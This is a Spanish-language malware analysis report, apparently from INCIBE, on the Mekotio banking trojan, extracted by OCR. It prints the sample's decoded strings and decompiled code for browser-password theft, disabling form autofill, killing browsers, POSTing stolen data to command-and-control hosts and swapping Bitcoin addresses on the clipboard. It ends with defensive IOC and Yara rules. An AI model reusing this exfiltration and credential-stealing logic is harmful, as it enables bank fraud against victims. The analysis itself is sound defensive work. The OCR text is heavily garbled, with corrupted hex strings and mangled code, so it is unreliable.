51945181AB77EE303AD6075F ProductName

255D84B7649F3AFD1038E96E81B565

CurrentVersion

8EE40C3FFF339559DF18C21CD6

CurrentBuild

EB6086A85692CC6588E5568FAD669847F95090

ipconfig /flushdns

73D46CA15B9581B96CAD50F10E2ACC74C60F2DAD6FEC12B864EBSBEE1B4
C3C85FF30DB6BCBD26EEG66A97BD6BEE0921DF28

netsh interface
portproxy add v4tov4
listenport=

A9FC36E41DDD7789B967953BF972 connectport=
277283B36C8CC57AAA41E678BC679B49D4 connectaddress=
7593938BF77E989B8DF3 127.0.0.1

7BDC14C9738D9950FA22C4043CD87DA4963FFD42FB5F9C35F84433C563FC
3291B0944FBA7BD31B7E

netsh interface
portproxy delete v4tov4

1C4DE2133931A142E1

\god.doc

71E1193C12174E3DEE2FDB72BC678BED4F80F324

cmd /c msiexec /i "

3C6BDD4CF33460DCOF33E67FA45CFC29CF

/gn /norestart

F57CB74AFC24AC42F520CD2DC976AD51EF6D87DE

SeShutdownPrivilege

2DA35F9649E3678AAB94BA0033 iexplore.exe
6BE418CB7FB317DC4FF931A5 firefox.exe
F66F81B26C8FC0BD6792B4 chrome.exe
4A82A348E21CB5B05287AF msedge.exe
1DB97CA05DE823DB1038 opera.exe
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E1031224213AB757E745374E38222A310354EA518CCB76D162A65B81AE

TASKKILL /F /IM

iexplore.exe
C02037CB59F20807177AEA0274E671F84BIBAD12CC0923689827DB Iﬁ‘gﬂ;’ 'é)L( e’ F /M
C52F2638CDAFACABB39ESEE75ECS53E65583BF0028BD60E1459C42F5 ;TQ?OT(K;)IZI(; IF M

7888A081A84A8ABC984BF954EF1BCE78CA012371AC2FDE7DBF19DBA94384
B91FC56FA52BC4C9B818B763C26EFA26CF081DCD0948FB2BD161B5709544
27A85C8BAE52D2

En este momento no
podemos atenderle, por
favor intente mas tarde.

81E11CC06399CC72A04F8BD1163F

Shell_TrayWnd

20599E533DF76DB26694F75296B86A89AE28DF7DBDEE2FA74355E90A25A74
A8BBG65E963FE62A1BBA1AC5A44C98589D5A4FF357FE32E1182B7FBE70984
CO9E5AFA28DA1278

Los datos ingresados
son incorrectos, por
favor intente
nuevamente.

48A543EE1E1C081EC87298CAGE984D2BF2592ABF62F51240FA2DC7659A39
094BF224DD7380DA15B5147DA041549F48E36791C71ED70021D9CD6D8SAB1
5043EF14C16D83DC1COECAD90050EB79BC7EA43DE77EB692428EFAGGIE2
3A35A8CB2122CF82265

Hola, Enviamos un
cédigo como simulacion
de transaccién para
validar y sincronizar su
dispositivo.

2643E4167888DD0732E955463030DF46FB658BC8A539D3CAG9E8196BI9F3CF
F173DDA0B43E23AFC5384BB9A409A5923DC739132AE42F128DB7BE6G

Por favor, En caso de
que los datos sean los
siguientes:

629E5B83BB77DE1773954152E3163BE218BF8CC265B657FF3B97569A4092A
538E11406

Ingrese el codigo de
confirmacion.

D52C30CD6BE2051A2DC95E89AA61954CE369CF30C119379A9D34F736

C:\WINDOWS\system3
2\hal.dll

47A141F579E80F052FDDG5AES4FB7F938CC4628E9F3D3D57F4759E53C23C
DB72A7A99BC96FD054FD56F27DEAG3CF5884E9055DFF6F97A94A8A888F

MusAERGfaH8S|BVKpl
ZDn31JNTb7LOioF6Uq
z4xhel0k52vXdcm9gPrt

QC

3A48E618C961F2011CC86EEG1ACB628DA93131

Chrome_WidgetWin_1

ECOF28E3033991A1BC6B9ACDGBA7ABSEEDS99F

MozillawindowClass

314FC248F40059ED

IEFrame

135AFB2ADE0548FA29C36383BASB8CBD63EA0244ED043FSBABA1BDEL6C2D
14788BEG6F9A34CD7984E0729240

\Software\Microsoft\Inte
rnet Explorer\Main

E6092ACEA0B014D50717CF043DE71AC8

Use FormSuggest

A2F964FF01BB65987A82DA65F8CAFC16D87B91CCS51EA554D4042EA9BF6B9
54582B16389

3142E71BC64CF50E31DBOCB38590B06287C665E50749 FormSuggest
Passwords

F5092EE1010243F925C778DF56E37ADCACS7AL FormSuggest PW Ask

FF69EA1BCF12BD4CFA2DCA2BC2639442E76F86C8688CB81ED771BF61F50 |\Software\Microsofwin

dows\CurrentVersion\Ex
plorer\AutoComplete

F4032EE31D26AF44EF18C80E AutoSuggest
2BAA5A8CB973E806361B0941F8 taskkill /im
3FB1729248FB28197AA081 Erase "%s"

047888E9012FAC73A38EF32ACBA8899654F03361DF

If exist "%s" Goto 1

D8659846FD33945A898EA935F722C4609E3FFD43FAG649B32F45FEC123F915

winmgmts:\localhost\ro

7FE2EE6245E973FE279DB47 ot\SecurityCenter2
AOC65AE763F071C2A88588E96FF95BDA1BB772FA29A853FF0541E71EDBOC | SELECT * FROM
DO AntiVirusProduct

6781829BA6A4E242D17AAF152CDB758482F2145AE7

MSXML2.ServerXMLHT
TP

E81FD50225C51BDD16C564FB3DEA4AE81C042BBE7CD279D5

Administrador de tareas

FE639A48E2044F91F5072BAD4F2A36D1124BE175AA

Windows Task Manager

96DC1AC178B92FF21C35C1182DDA0B38F5648BD560FA24B174DD06303B83
A52FD2053DAA448F528AC9718C963AFD30D57DA929B0A04BFO097AA15288
A7E619C877A5509D429545BB69E11EB74A

Software\Microsoft\Win
dows\CurrentVersion\Ex
plorer\FileExts\.htm\Us
erChoice
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81E11CC06399CC72A04F8BD1163F Shell_Traywnd
Software\Microsoft\Win
dows\CurrentVersion\R
un
A938F319093884BA9ESOAOF331E00333F52E cmd.exe /c start

5EF33EF32A3255D70435EB6282BD62925585ABEB2EAQ59F43F84E142ED6G98 | http://htserverths.westu
8CAB98EBA12144C973C9E4D3ADA7FBBBOA520D976DE153AEA194BE71603 | s2.cloudapp.azure.com/

BF26C36B915FF434DD7787C371A6578CA928CF1E38924C89AD13D17CF75E
80C56D9F509F51FA3F9939EEOA1BAS43

78 ?oriudfjdfij88
51F10D31E61A4825DCOFC20A39E50635C8CEG1E21D sicweb.servegame.com
848D9083F7 4926
ABE84B3E253ABD51C0OAO8ESDE952C3B3 744-GOD3--02-02
E5120815242152F70F122745DD62EF73 ALLUSERSPROFILE
6CD616C56485C86FCBB1A2 Windows 10
E76A85B2599E22C6A297 Windows 8
9031F420C76AFB7CEE1EC905 sqlite3.dll

El siguiente listado almacena todas las entidades bancarias afectadas con su cédigo
codificado, en esta muestra:
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Entidades bancarias codificadas

68FF34EBO33ES85

DCOA3DEA18D70D21D0

86DC6893BA7TEEBOD36E4

E27382AA6D98CE63954CF255
22B145F218DDOB3EDBOD31AE4ADF524D7
61E3042CC175EB1EC46B9ACEG888BA

5AFF3FEOO0C2CA35A89

0056ED23C665FE3FEQ19
8EC470985F96CF6D90B460EA063DF113D006
3E9257FF27C31FDO7EBD60F033DD10
6AE61FC5768FC47C99B364

24B24EF01C28BD7FAES598F
EC7A8DBA6887C17AAAS0FAS9EB1EDO70B1
479CAB5BF00451E614CA7CEEOB2BD5718FC070E7174AE66C82D112
9E34C373985EE514C6769430C26D9E42E7
7CD61FD50821A051FB3DDD7FB55E91B076
70E71FCC7E89DA143DED21A046F11A3BCEO839A85A8EA23FFBSF
4881B4568BAB39F626D608B343E31239CC78
2DBA4AF913D47688A85F8BDCA7AADG289BCO83E83A52A
BE14D77CAE4882BD639C41955F
DAO8S3FEC1629A34BF42ACEOD2CCB6C9C528BA320C5063E9A
F16C88BC6384D36694B86BEE37DDOB36FB599F
5582B56586A333C876AF568AA0
75DD699645F06B9C46F51AB5
065DE81637F06286BE6D9231C26A
OE45F01ECF69E81DC477AA27CD0224D6
DA7B88B66598CD6380A34C9C53F927CA7CDO

FO669F48E504

27BCA48F715D2082FD40729A6
8FC4709FADEA79B85E9C4582B36692B277
AA21D90F3AFA5D9142E90845E615C26C9DC663E9065E80CF67EF
489F5784A94F85A442EB12B64CFE
FB5A95B96780D6699C47EAGE
5EE4183AE21EB673924FFF5195

EE6DB75883B014D271AE
5C8BBA68975BF436E11FD7778EB2648FA722
1CBC48EB0327AC7192B96BE8SOF35E6162AB374
B928DF0835FES0E61339E86387A95185
5EF431D7728D36C46897429650F91EC267
30A64FF5142BAB4AFB3DF16486A95D
4198AF53FA3F84AA5489BB1CC66D98BB70DA
9730C9799052F60B2AC26CFC3FE012
3693A25486B929CD7EAAS3F63CEA1B38F36186D90C42FD5A99CC6E81AF11
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E17184B351EC6FB05289BA1C
8ACD6BAO5E96C36180A250F7
3F9D5AFF23DA738CB56994CE123ADD0725AD71
D57C8BB8639235CA74AB5FEQ
D10134E3092EAF4ACFE3EE0629D48F928
1440F417CB79EEOCC4
DBOB3AES0324B2709D43F4

ED649D43FD24

Una vez comienza la funcién “CreateForm”, almacena las cadenas cifradas en variables
globales para su posterior utilizacién en los Timers. ContinGia con la obtencién del nombre
de la maquina y la ruta de la variable de sistema “ALLUSERSPROFILE”, tras su obtencion
almacena ambas en una estructura interna.

Ustrazig(
&c2c_1,
L"SEF33EF32A3255070435EB6252BD62925585ABEB2EAR59F43FB4E142EDR958CAG98EBAL2144C973C9E4D3ADATFEEBOAS20D976DELS3AEALS4BETLRR378");
UstrAsig(&c2c_domian, L"S1F1@D31E6LA4825DCAFC2BA39ES@635CBCERLE2ID");// sicweb.servegame. com
UstrAsig(&c2c_port, L"848D9883F7"); // 4926
UstrAsig(&mal_version, L"AGEB4B3E253ABDS1CAAGBESDESS2C3B3");// 744-GOD3--02-82
TimeToProcessMessages(qword_27FFBGE@, 189u);
rand_str(var_, &varsl78 + 1, 13);
UstrAsig(&rand_str_value, *(&vars173 + 1));
ComputerName(var_, &varsl78);
UstrAsig(&machine_name, vars17&);
*off_276E688 = 1;
byte 27FFBCE = @;
DecodeStr(&varsl63, “"E5120815242152F7@F122745DD62EF73");// ALLUSERSPROFILE
ustrFromLStr(&vars158 + 8, varsled);
ExpandvVar(var_, &vars16s + 8, *(&varslSs + 1));
uUstrCat3(&qword_27FFCEB, *(&vars168 + 1), gqword_26C2F68);

llustracion 17. Primera etapa de la funcién "CreateForm”.

A continuacion, sigue con la obtencion del sistema operativo, con el que trata de identificar
si se esta utilizando una version de “Windows 10” o “Windows 8”, en cuyo caso asigna un
valor “5” a una variable global, por el contrario, la variable tendra un valor de “1”.

GetOsSInfo(&winle_str + 8);
TimeToProcessMessages(qword_27FFB6@, @x64u);
dword_27FFBE® = 1;
DecodeStr(&winle str, "6CD616C56485CB6FCEBBLA2");// windows 18
UstrFromLStr(&vars138, winld_str);
if ( Pos(vars138, qword_28@00048, 1isd) > @ )

dword_27FFBE@ = 5;
DecodeStr(&wind_str, "E7GABSB2599E22C6A297"); // windows 8
UstrFromLStr(&vars128, wind_str);
if ( Pos(vars128, gqword_28@08048, 1isd) > @ )

dword_27FFBE@ = 5;

llustracion 18. Segunda etapa de la funcion "CreateForm".

Acto seguido, comprueba la existencia del fichero “god.doc”, luego elimina las sugerencias
para el auto relleno de los formularios web, para ello hace uso de las claves de registro:
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i T e ICE
sub_229709@(varsDE, -21474836471i64);

Sleep 1(@x1F4u)
DecodeStr(&vars

+ 8, "135AFB2ADE@S48FA20C36383BA5BE8CBD63EAR244EDB4A3FBABALBDELSC2D14788BEGFOASACDTIBAERT202408");// \Software\Microsoft\Internet Explorer\Main
s *(&varsBs + 1));
8, varsBs, @) )

UstrFromLstr(&vars
if ( sub_2297FAB(

DecodeStr (&varsBe, “E6B92ACEABBA14DSBT17CFA43DETIACE");// Use FormSuggest
UstrFromLstr(&v AB, varsBe);
DecodeStr(&va
UstrFromLstr(
RegSetValue(wv
DecodeStr(&va

/f No

, vars9g);
142E71BC64CF SBE31DBBCE38590806287C665E50749");// FormSuggest Passwords
UStrFremLStr(&y varsaB);

DecodeStr(&va /f Mo

UstrFromLStr(.

RegSetValue(v " 783

DecodeStr(&va S@92EE1@1@243F925C7780FS6E37ADCACB7AL");// Formsuggest PW Ask
UstrFromLstr(&v v H

Decodestr(&va /f Wo

UstrFromLstr(&v
RegsetValue(varsDa,

DecodeStr(
&varssa,
"FFEIEALIBCF12BDACFAZDCAZBC2639442E76FB6C8688CBB1ED771BF61FSRA2FI64FF@1BBE5987AB2DA65FBCAFC16D87B91CC51EASS4D4R42EASBFEBI54582B16389");
UStrFromlStr(&varsas, vars58);
if ( sub_2297FAB(varsDE, vars4d, @) )

DecodeStr(&va
UstrFromLstr(
DecodeStr(&va 586A3")3 // Mo
UstrFromLstr(&v vars3e);
RegSetvalue(varsD3, vars33, vars2d);

"F4B32EE31D26AF44EFISCE0E");// AutoSuggest
38, vars4@);

llustracion 19. Funcion encargada de deshabilitar las sugerencias en los formularios.

Para continuar con el flujo del programa, el codigo intenta parar todos aquellos procesos
gue coincidan con alguno de los siguientes nombres:

®m jexplorer.exe.
m firefox.exe.
B msedge.exe.
B oOpera.exe.

Una vez hayan concluido todos los procesos coincidentes, se busca si existe un fichero en
la ruta de “ALLUSERSPROFILE” cuyo nombre sea la fecha actual con formato “MM-YYYY”
y con extension “ixt”. En caso de existir, se envia el fichero con una peticion POST al
servidor de comando y control.
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sub. 29F2?CB(& ars1l18, L"operatien=incluirainciso&™);
DecodeStr(&varsFE + 8, "DS1B3834"); /] US=
UstrFromLstr(&varsFs, *(&varsFd + 1));

vars28 = Sdword_26BDA14;

UstrlatN(&vars1ls, 4i54, varsllad, varsFg, machine_name);
DecodeStr(&var + 8, "1152C1BF"}); /il VE=
UstrFromLstr(&varsEs, *(&varsEd + 1));
LstrFromUStr(&varsDs, mal_version, @i64);
DecodeStr(&varsDa + 8, wvarsDa);

UstrFromLStr(&varsCs + B, *(&varsDE + 1});

vars28 = &dword_26BDA14;

UstrCatN(&vars118, 4i64, varslls, varsEd, *(&varsCs + 1));
DecodeStr{&varsC3, "A4CEACCE™)Y; // 05=
UstrFromLStr(&varsCe, varsCa);
Get0SInfo(&varsEe + 8);

UstrFromLStr(&varsEe, qword_ 27FFBF@);

vars28 = &dword_26BDAS4;

vars3@ = varsBa;

vars38 = &dword_26BDA14;

UstrCatN(&vars118, 6i64, varslls, varsCe, *(&varsBe + 1));
DecodeStr(&varsA@ + B, "629DB4B@"); // FE=
UstrFromLStr(&varsAg, *(&varsA8 + 1));

vars28 = &dword_26BDAl4;

UstrCatN(&vars118, 4i64, varslls, varsAB, rand_str_value);
DecodeStr(&vars98 + 8, "DBLC3E3A"); // PL=
UstrFromLStr(&varsoe, *(&vars2e + 1));
sub_26BE3A@(gword_27FFBe@, &varss2 + 8);

vars28 = &dword_26BDA14;
UstrlatN(&vars113, 4154
Decodestr(&var "3543CF4C");
UstrFromLStr(&y 78 + B, varsse
UstrFromLStr(&vars7e, gqword_27FFBF8);
UstrCatN(&vars 3i64, varsllsd, *(&vars7@ + 1), vars7@);

Decodestr(&var "6781829BAGA4E242D17AAFLS2CDB758482F2145AE7");// MSXML2 . Server XMLHTTP
UstrFromLStr(&y 58, vars6e);

sub_22C8768(Rvarsel + 8, vars5a);

sub_213F398(&pv

vars9@, *(&varsse + 1));
/4 A=

DecodeStr(&var
vars2e = *(&
LOWORD(vars 28
sub, 213?ACO(0154 &p rarg, Bbyte 26BDAD7, L"POST", *(&vars4s + 1), vars23);

vars2@ = L"Mozilla/4.8 (compatible;MSIE 6.8; Nlndows NT 5.8";

sub_2137AC@(@i64, &pvarg, &byte 26BDAFA, L"User-Agent™, L"Mozilla/4.@ (compatible;MSIE 6.@8; Windows NT 5.8");
vars28 = L"application/x-www-form-urlenceoded”;

sub_2137ACe(@is4, &pvarg, &byte 26BDAFA, L"Content-type”, L"application/x-www-form-urlencoded™);
sub_2137ACe(@is4, &pvarg, &byte 26BDCIC, &varslls);

llustracion 20. Creacién de la peticion POST.

En caso de que no exista, se crea el fichero y se exportan al mismo todas las contrasefias
almacenadas en las bases de datos de los navegadores web. Finalmente, activa los Timers
y finaliza la funcion encargada de crear el formulario principal.

De entre todos los Timers que se han observado anteriormente, cabe destacar uno de
ellos, identificado como “FinancialTimer”, el cual se encarga de robar las credenciales
bancarias, que es la actividad principal de este cddigo malicioso. Para conseguir esta
finalidad, el Timer obtiene la direccion URL de la barra de busqueda del navegador,
accediendo a éste mediante el nombre de su clase interna. Posteriormente, lo convierte a
un objeto interpretable por el cédigo y lo compara con las cadenas anteriormente
descifradas de las entidades financieras. Si el resultado es positivo, establece una
comunicacion con el servidor de comando y control, envia los datos y activa el resto de
Timers para gue se interpreten los comandos recibidos.
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mowv rdx, cs:off_SAES4E
call sub_414BE@
nop
lea rcx, [rbptvar_s16A8)
lea rdx, a3a48e618c961f2 ; Chrome_WidgetWin_1
call DecodeStr
lea rcx, [rbptvar_s16E@]
mov rdx, [rbptvar_s164A8]
call @UstrFromLStr
ma [rbp+lParam], @
lea rcx, sub 9CDALE ; lpEnumFunc
lea rdx, [rbp+lParam] ; lParam
call Enumidindows
mowv rax, [rbp+lParam]
mov [rbp+var_sleDe], rax
cmp [rbpt+var_si16DB], @
jnz short loc_9CFB17
Ii |
[l e
lea rcx, [rbptvar s1638]
lea rdx, aEc@f28e3833991 ; MozillaWindowClass
call Decodestr
lea rcx, [rbptvar s16E@]
Mo rdx, [rbp+var_s1698]
call @UStrFromLStr
mow [rbp+lParam], @
lea rcx, sub_9CDAl® 3 lpEnumFunc
lea rdx, [rbp+lParam] ; lParam
call Enumidindows
Moy rax, [rbp+lParam]
mowv [rbp+var_sl6D@], rax

llustracion 21. "FinancialTimer" primera etapa.

Existe una gran variedad de comandos para realizar acciones de diversa indole, desde
subir y descargar un fichero, hasta el reinicio del dispositivo, pasando incluso por cargar
formularios para la extraccion de las credenciales de la victima.

Otros Timers a tener en cuenta son:

m “StartTimer”: crea la persistencia dentro de la maquina infectada.

B “TaskManagerTimer”: cierra el “administrador de tareas” cuando detecta una nueva
instancia.

B “WarningTimer”: se encarga de cerrar cualquier ventana cuyo titulo contenga la
palabra “Warning”.

®  “NetConfTimer”: realiza una limpieza de la caché DNS para asegurar una conexion
correcta al dominio dindmico. Ademas, inicia la comunicacion con el servidor de
comando y activa el resto de Timers correspondientes.

m  “ClipboardChangedTimer”: comprueba de forma continua el contenido del
portapapeles en busca de posibles carteras de Bitcoins y las reemplaza por unas
almacenadas previamente en el cddigo malicioso y que se encuentran bajo el control
de los atacantes:

bc1q89el8m8shnnmepd6sny2hjy36xszpa8zdf3kmec.

o Valor cifrado:
BE142113CA55BA739B9E4FB47EA35387A634F76EE96E913
231AF4D948FF63F8546F21071BF1DD2379249ED.

1PSgjH2IJwBd7wWKZ5YB6HTZmMQ5XzqR7rJLmMA.
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o Valor cifrado:
DD3ADC719657ABSE9C59D80E13CF5AF27AEB718B92DF00
68C817C66AF41FC13BC16BES.

4.4. Técnicas de antideteccion y antingenieria inversa

Durante el andlisis de la muestra se ha identificado el uso de una herramienta de pago
llamada VMProtect, encargada de la proteccion contra ejecuciones en entornos
virtualizados o en depuradores de cédigo.

Ademas, se han detectado rutinas de cifrado y ofuscacién de cddigo y de cadenas de texto.

4.5. Persistencia

La siguiente ubicacion es utilizada por el codigo dafiino para establecer persistencia.

‘ HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
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5. Conclusion

Tras el andlisis del fichero, se ha podido comprobar la familia a la que pertenece y extraer
todas sus cadenas de texto con las que se configura su funcionamiento, ademas de permitir
entender la naturaleza de su comportamiento. Se ha proporcionado una regla Yara y un
IOC para poder prevenir y/o localizar otras muestras de esta familia.

De la misma manera que sucede con otros troyanos bancarios, Mekotio posee
caracteristicas comunes con otros malware de esta clase, como es el hecho de contar con
una funcionalidad de backdoor, estar programado en Delphi y usar ventanas emergentes
falsas.
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Anexo 1: Indicadores de Compromiso (I0OC)

A continuacion, se muestra una regla I0C preparada para la deteccion de esta muestra en
concreto:

<?xml version="1.0" encoding="us-ascii"?>

<ioc xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmins:xsd="http://www.w3.0rg/2001/XMLSchema" id="ff7917cd-7d2f-489e-aa03-c05500a248a7" last-
modified="2020-08-04T12:29:16" xmIns="http://schemas.mandiant.com/2010/ioc">

<short_description>Mekotio</short_description>
<authored_by>Incibe</authored_by>
<authored_date>2020-07-30T22:10:56</authored_date>
<links />
<definition>hay
<Indicator operator="OR" id="4e7451b1-7e75-4633-ae3c-9d14ed8bfb71">
<Indicatorltem id="0f98a13f-43dc-4018-b361-3b3eb986a34c" condition="is">
<Context document="Fileltem" search="Fileltem/Md5sum" type="mir" />
<Content type="md5">a5e3285f76d05ae20274cff6d7084fe3</Content>
</Indicatorltem>
<Indicatorltem id="464564ee-6f92-4944-be9f-c25d420e1051" condition="is">
<Context document="Fileltem" search="Fileltem/Shalsum" type="mir" />
<Content type="string">6b215c986b7a48d80a093e44edd76008a316cch6</Content>
</Indicatorltem>
<Indicatorltem id="f247a4b1-2061-440d-bbe9-983c8680dbd7" condition="is">
<Context document="Fileltem" search="Fileltem/Sha256sum" type="mir" />

<Content
type="string">9572a6e0d50bd67c35ch70653661719c6c8034254f55e4693cfbfafb2768c59c</Content>

</Indicatorltem>
<Indicator operator="AND" id="57b45b1b-6f69-4d45-8afa-db0a5bdfe17d">
<Indicatorltem id="9ff95df6-1600-461f-9c3d-aa9ed76d99al" condition="contains">
<Context document="Fileltem" search="Fileltem/FileExtension" type="mir" />
<Content type="string">dlI</Content>
</Indicatorltem>
<Indicatorltem id="96d28795-c622-42d0-9b34-7b248938e1b4" condition="contains">
<Context document="Fileltem" search="Fileltem/PEInfo/Exports/ExportedFunctions/string" type="mir" />
<Content type="string">EQVIHXHNF89GP775AL0YG3TNO2EFCB8E3V</Content>
</Indicatorltem>
<Indicatorltem id="54253834-ac06-447e-93e0-888260473cd0" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />

<Content
type="string">48A543EE1E1C081EC87298CAGE984D2BF2592ABF62F51240FA2DC7659A39094BF224DD7
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380DA15B5147DA041549F48E36791C71ED70021D9CD6D8AB15043EF14C16D83DC1COECAD90050EB7
9BC7EA43DE77EB692428EFAG669E23A35A8CB2122CF82265</Content>

</Indicatorltem>
<Indicatorltem id="f85bb008-fd17-47da-bafe-26dcbfe565fd" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />

<Content
type="string">5EF33EF32A3255D70435EB6282BD62925585ABEB2EA059F43F84E142ED6988CAG98EBAL
2144C973C9E4D3ADA7FBBB0A520D976DE153AEA194BE7160378</Content>

</Indicatorltem>
<Indicatorltem id="8221d64b-a320-4c47-af43-5792b5fc5b65" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">51F10D31E61A4825DCOFC20A39E50635C8CE61E21D</Content>
</Indicatorltem>
</Indicator>
<Indicator operator="AND" id="ad79f216-b108-41df-8ca2-e127005f9161">
<Indicator operator="OR" id="32e122b5-7cdd-4dfb-bac7-4be2396ecc7b">
<Indicatorltem id="cde9e415-344e-4a85-9499-8c405f6765b1" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />

<Content type="string">Hola, Enviamos un codigo como simulacion de transaccion para validar y
sincronizar su dispositivo.</Content>

</Indicatorltem>
<Indicatorltem id="c457dc04-b3ea-4a4c-94b9-eefca95ced88" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />
<Content type="string">http://htserverths.westus2.cloudapp.azure.com/?oriudfjdfij88</Content>
</Indicatorltem>
<Indicatorltem id="34070b75-5188-468c-9748-272411db37¢c2" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />

<Content
type="string">MusAERGfaH8S]BVKplZDn31JINTb7LOioF6Uqz4xhel0k52vXdcm9gPrtQC</Content>

</Indicatorltem>

<Indicatorltem id="bbae2406-dbb9-40d1-b93c-c5d546ddfcce" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />
<Content type="string">744-GOD3--02-02</Content>

</Indicatorltem>

</Indicator>
</Indicator>
</Indicator>

</definition>

</ioc>
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Anexo 2: reglas Yara

La siguiente regla Yara ha sido creada exclusivamente para la deteccion de muestras
relacionadas con esta campana.

rule MekotioDLL64: MekotioFamily
{
meta:
description = "Mekotio DLL"
author = "Incibe"

version ="0.1"

strings:

$ep = {34 37 41 31 34 31 46 35 37 39 45 38 30 46 30 35 32 46 44 44 36 35 41 45 35 34 46 42 37 46 39
33 38 43 43 34 36 32 38 45 39}

$f1 = {3545 46 33 33 45 46 33 32 41 33 32 3535 44 37 30 34 33 35 45 42 36 32 38 32 42 44 36 32 39
32 353538 354142 45 42 32}

$f2 = {41 36 45 38 34 42 33 45 32 35 33 41 42 44 35 31 43 30 41 30 38 45 38 44 45 39 35 32 43 33 42
33}

condition:

$ep and $f1 and $f2
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